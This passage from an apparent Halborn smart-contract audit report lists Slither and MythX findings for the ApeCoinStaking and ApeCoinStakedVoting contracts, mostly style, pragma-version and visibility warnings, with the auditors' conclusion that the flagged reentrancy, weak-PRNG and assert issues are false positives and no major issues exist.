SafeERC20.safePermit(IERC20Permit,address,address,uint256,uint256,uint8,bytes32,bytes32) (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#83-97) is never used and should be removed
Strings.toHexString(address) (node_modules/@openzeppelin/contracts/utils/Strings.sol#72-74) is never used and should be removed
Strings.toHexString(uint256) (node_modules/@openzeppelin/contracts/utils/Strings.sol#41-52) is never used and should be removed
Strings.toHexString(uint256,uint256) (node_modules/@openzeppelin/contracts/utils/Strings.sol#57-67) is never used and should be removed
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#dead-code

Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/IERC721.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol#4) allows old versions
Pragma version^0.8.1 (node_modules/@openzeppelin/contracts/utils/Address.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/utils/Strings.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/utils/introspection/ERC165.sol#4) allows old versions
Pragma version^0.8.0 (node_modules/@openzeppelin/contracts/utils/introspection/IERC165.sol#4) allows old versions
Pragma version^0.8.10 (contracts/ApeCoinStaking.sol#3) necessitates a version too recent to be trusted. Consider deploying with 0.6.12/0.7.6/0.8.7
solc-0.8.10 is not recommended for deployment
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity

Low level call in Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#60-65):
	- (success) = recipient.call{value: amount}() (node_modules/@openzeppelin/contracts/utils/Address.sol#63)
Low level call in Address.functionCallWithValue(address,bytes,uint256,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#128-139):
	- (success,returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#137)
Low level call in Address.functionStaticCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#157-166):
	- (success,returndata) = target.staticcall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#164)
Low level call in Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#184-193):
	- (success,returndata) = target.delegatecall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#191)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#low-level-calls
```

```
Function IERC20Permit.DOMAIN_SEPARATOR() (node_modules/@openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol#89) is not in mixedCase
Parameter ApeCoinStaking.depositApeCoin(uint256,address)._amount (contracts/ApeCoinStaking.sol#164) is not in mixedCase
Parameter ApeCoinStaking.depositApeCoin(uint256,address)._recipient (contracts/ApeCoinStaking.sol#164) is not in mixedCase
Parameter ApeCoinStaking.depositSelfApeCoin(uint256)._amount (contracts/ApeCoinStaking.sol#177) is not in mixedCase
Parameter ApeCoinStaking.depositBAYC(ApeCoinStaking.SingleNft[])._nfts (contracts/ApeCoinStaking.sol#185) is not in mixedCase
Parameter ApeCoinStaking.depositMAYC(ApeCoinStaking.SingleNft[])._nfts (contracts/ApeCoinStaking.sol#193) is not in mixedCase
Parameter ApeCoinStaking.depositBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[])._baycPairs (contracts/ApeCoinStaking.sol#203) is not in mixedCase
Parameter ApeCoinStaking.depositBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[])._maycPairs (contracts/ApeCoinStaking.sol#203) is not in mixedCase
Parameter ApeCoinStaking.claimApeCoin(address)._recipient (contracts/ApeCoinStaking.sol#215) is not in mixedCase
Parameter ApeCoinStaking.claimBAYC(uint256[],address)._nfts (contracts/ApeCoinStaking.sol#236) is not in mixedCase
Parameter ApeCoinStaking.claimBAYC(uint256[],address)._recipient (contracts/ApeCoinStaking.sol#236) is not in mixedCase
Parameter ApeCoinStaking.claimSelfBAYC(uint256[])._nfts (contracts/ApeCoinStaking.sol#244) is not in mixedCase
Parameter ApeCoinStaking.claimMAYC(uint256[],address)._nfts (contracts/ApeCoinStaking.sol#252) is not in mixedCase
Parameter ApeCoinStaking.claimMAYC(uint256[],address)._recipient (contracts/ApeCoinStaking.sol#252) is not in mixedCase
Parameter ApeCoinStaking.claimSelfMAYC(uint256[])._nfts (contracts/ApeCoinStaking.sol#260) is not in mixedCase
Parameter ApeCoinStaking.claimBAKC(ApeCoinStaking.PairNft[],ApeCoinStaking.PairNft[],address)._baycPairs (contracts/ApeCoinStaking.sol#270) is not in mixedCase
Parameter ApeCoinStaking.claimBAKC(ApeCoinStaking.PairNft[],ApeCoinStaking.PairNft[],address)._maycPairs (contracts/ApeCoinStaking.sol#270) is not in mixedCase
Parameter ApeCoinStaking.claimBAKC(ApeCoinStaking.PairNft[],ApeCoinStaking.PairNft[],address)._recipient (contracts/ApeCoinStaking.sol#270) is not in mixedCase
Parameter ApeCoinStaking.claimSelfBAKC(ApeCoinStaking.PairNft[],ApeCoinStaking.PairNft[])._baycPairs (contracts/ApeCoinStaking.sol#280) is not in mixedCase
Parameter ApeCoinStaking.claimSelfBAKC(ApeCoinStaking.PairNft[],ApeCoinStaking.PairNft[])._maycPairs (contracts/ApeCoinStaking.sol#280) is not in mixedCase
Parameter ApeCoinStaking.withdrawApeCoin(uint256,address)._amount (contracts/ApeCoinStaking.sol#290) is not in mixedCase
Parameter ApeCoinStaking.withdrawApeCoin(uint256,address)._recipient (contracts/ApeCoinStaking.sol#290) is not in mixedCase
Parameter ApeCoinStaking.withdrawSelfApeCoin(uint256)._amount (contracts/ApeCoinStaking.sol#303) is not in mixedCase
Parameter ApeCoinStaking.withdrawBAYC(ApeCoinStaking.SingleNft[],address)._nfts (contracts/ApeCoinStaking.sol#311) is not in mixedCase
Parameter ApeCoinStaking.withdrawBAYC(ApeCoinStaking.SingleNft[],address)._recipient (contracts/ApeCoinStaking.sol#311) is not in mixedCase
Parameter ApeCoinStaking.withdrawSelfBAYC(ApeCoinStaking.SingleNft[])._nfts (contracts/ApeCoinStaking.sol#319) is not in mixedCase
Parameter ApeCoinStaking.withdrawMAYC(ApeCoinStaking.SingleNft[],address)._nfts (contracts/ApeCoinStaking.sol#327) is not in mixedCase
Parameter ApeCoinStaking.withdrawMAYC(ApeCoinStaking.SingleNft[],address)._recipient (contracts/ApeCoinStaking.sol#327) is not in mixedCase
Parameter ApeCoinStaking.withdrawSelfMAYC(ApeCoinStaking.SingleNft[])._nfts (contracts/ApeCoinStaking.sol#335) is not in mixedCase
Parameter ApeCoinStaking.withdrawBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[])._baycPairs (contracts/ApeCoinStaking.sol#342) is not in mixedCase
Parameter ApeCoinStaking.withdrawBAKC(ApeCoinStaking.PairNftWithAmount[],ApeCoinStaking.PairNftWithAmount[])._maycPairs (contracts/ApeCoinStaking.sol#342) is not in mixedCase
Parameter ApeCoinStaking.setRewardsPerTimeRange(uint256,uint256,uint256,uint256,uint256)._poolId (contracts/ApeCoinStaking.sol#386) is not in mixedCase
Parameter ApeCoinStaking.setRewardsPerTimeRange(uint256,uint256,uint256,uint256,uint256)._amount (contracts/ApeCoinStaking.sol#357) is not in mixedCase
Parameter ApeCoinStaking.setRewardsPerTimeRange(uint256,uint256,uint256,uint256,uint256)._startTimestamp (contracts/ApeCoinStaking.sol#358) is not in mixedCase
Parameter ApeCoinStaking.setRewardsPerTimeRange(uint256,uint256,uint256,uint256,uint256)._endTimeStamp (contracts/ApeCoinStaking.sol#359) is not in mixedCase
Parameter ApeCoinStaking.setRewardsPerTimeRange(uint256,uint256,uint256,uint256,uint256)._capPerPosition (contracts/ApeCoinStaking.sol#360) is not in mixedCase
Parameter ApeCoinStaking.removeLastTimeRange(uint256)._poolId (contracts/ApeCoinStaking.sol#378) is not in mixedCase
Parameter ApeCoinStaking.getRewardsPerHourInRange(uint256,uint256)._poolId (contracts/ApeCoinStaking.sol#383) is not in mixedCase
Parameter ApeCoinStaking.getRewardsPerHourInRange(uint256,uint256)._index (contracts/ApeCoinStaking.sol#383) is not in mixedCase
Parameter ApeCoinStaking.rewardsBy(uint256,uint256,uint256)._poolId (contracts/ApeCoinStaking.sol#394) is not in mixedCase
Parameter ApeCoinStaking.rewardsBy(uint256,uint256,uint256)._from (contracts/ApeCoinStaking.sol#394) is not in mixedCase
Parameter ApeCoinStaking.rewardsBy(uint256,uint256,uint256)._to (contracts/ApeCoinStaking.sol#394) is not in mixedCase
Parameter ApeCoinStaking.updatePool(uint256)._poolId (contracts/ApeCoinStaking.sol#415) is not in mixedCase
Parameter ApeCoinStaking.stakedTotal(address)._addr (contracts/ApeCoinStaking.sol#447) is not in mixedCase
Parameter ApeCoinStaking.getAllStakes(address)._address (contracts/ApeCoinStaking.sol#472) is not in mixedCase
Parameter ApeCoinStaking.getApeCoinStake(address)._address (contracts/ApeCoinStaking.sol#508) is not in mixedCase
Parameter ApeCoinStaking.getBaycStakes(address)._address (contracts/ApeCoinStaking.sol#521) is not in mixedCase
Parameter ApeCoinStaking.getMaycStakes(address)._address (contracts/ApeCoinStaking.sol#529) is not in mixedCase
Parameter ApeCoinStaking.getBakcStakes(address)._address (contracts/ApeCoinStaking.sol#537) is not in mixedCase
Parameter ApeCoinStaking.pendingRewards(uint256,address,uint256)._poolId (contracts/ApeCoinStaking.sol#568) is not in mixedCase
Parameter ApeCoinStaking.pendingRewards(uint256,address,uint256)._address (contracts/ApeCoinStaking.sol#568) is not in mixedCase
Parameter ApeCoinStaking.pendingRewards(uint256,address,uint256)._tokenId (contracts/ApeCoinStaking.sol#568) is not in mixedCase
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#conformance-to-solidity-naming-conventions

Variable ApeCoinStaking.BAKC_POOL_ID (contracts/ApeCoinStaking.sol#73) is too similar to ApeCoinStaking.BAYC_POOL_ID (contracts/ApeCoinStaking.sol#71)
Variable ApeCoinStaking.BAYC_POOL_ID (contracts/ApeCoinStaking.sol#71) is too similar to ApeCoinStaking.MAYC_POOL_ID (contracts/ApeCoinStaking.sol#72)
Variable ApeCoinStaking.constructor(address,address,address,address)._bakcContractAddress (contracts/ApeCoinStaking.sol#151) is too similar to ApeCoinStaking.constructor(address,address,address,address)._baycContractAddress (contracts/ApeCoinStaking.sol#149)
Variable ApeCoinStaking.constructor(address,address,address,address)._baycContractAddress (contracts/ApeCoinStaking.sol#149) is too similar to ApeCoinStaking.constructor(address,address,address,address)._maycContractAddress (contracts/ApeCoinStaking.sol#150)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#variable-names-are-too-similar

renounceOwnership() should be declared external:
        - Ownable.renounceOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#61-63)
transferOwnership(address) should be declared external:
        - Ownable.transferOwnership(address) (node_modules/@openzeppelin/contracts/access/Ownable.sol#69-72)
name() should be declared external:
        - ERC721.name() (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#79-81)
symbol() should be declared external:
        - ERC721.symbol() (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#86-88)
tokenURI(uint256) should be declared external:
        - ERC721.tokenURI(uint256) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#93-98)
approve(address,uint256) should be declared external:
        - ERC721.approve(address,uint256) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#112-122)
setApprovalForAll(address,bool) should be declared external:
        - ERC721.setApprovalForAll(address,bool) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#136-138)
transferFrom(address,address,uint256) should be declared external:
        - ERC721.transferFrom(address,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#150-159)
safeTransferFrom(address,address,uint256) should be declared external:
        - ERC721.safeTransferFrom(address,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol#164-170)
tokenOfOwnerByIndex(address,uint256) should be declared external:
        - ERC721Enumerable.tokenOfOwnerByIndex(address,uint256) (node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol#37-40)
tokenByIndex(uint256) should be declared external:
        - ERC721Enumerable.tokenByIndex(uint256) (node_modules/@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol#52-55)
getAllStakes(address) should be declared external:
        - ApeCoinStaking.getAllStakes(address) (contracts/ApeCoinStaking.sol#472-502)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external
```

ApeCoinStakedVoting.sol

No issues found by Slither.

- All the reentrancies flagged are false positives. All the NFT contracts and the Ape Coin ERC20 contract are trusted contracts. The code flow is never transferred to any other contract.
- The weak PRNG flagged by Slither is a false positive, as the contract does not use any random number.
- No major issues found by Slither.

4.2 AUTOMATED SECURITY SCAN

Description:

Halborn used automated security scanners to assist with detection of well-known security issues and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on the smart contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

MythX results:

ApeCoinStaking.sol

Report for contracts/ApeCoinStaking.sol
https://dashboard.mythx.io/#/console/analyses/29ce4258-96dc-4cfb-ac81-b82973168830

Line	SWC Title	Severity	Short Description
511	(SWC-110) Assert Violation	Low	A user-provided assertion failed.

ApeCoinStakedVoting.sol

Report for contracts/ApeCoinStakedVoting.sol
https://dashboard.mythx.io/#/console/analyses/2f7d1003-953c-4793-b5f0-d9cb9353ecad

Line	SWC Title	Severity	Short Description
11	(SWC-108) State Variable Default Visibility	Low	State variable visibility is not set.

- The assert violation is a false positive.
- There is a state variable called apeCoinStaking in the ApeCoinStakedVoting which visibility is not declared; hence it will be declared as private by default when compiled.
- No major issues found by MythX.

THANK YOU FOR CHOOSING

// HALBORN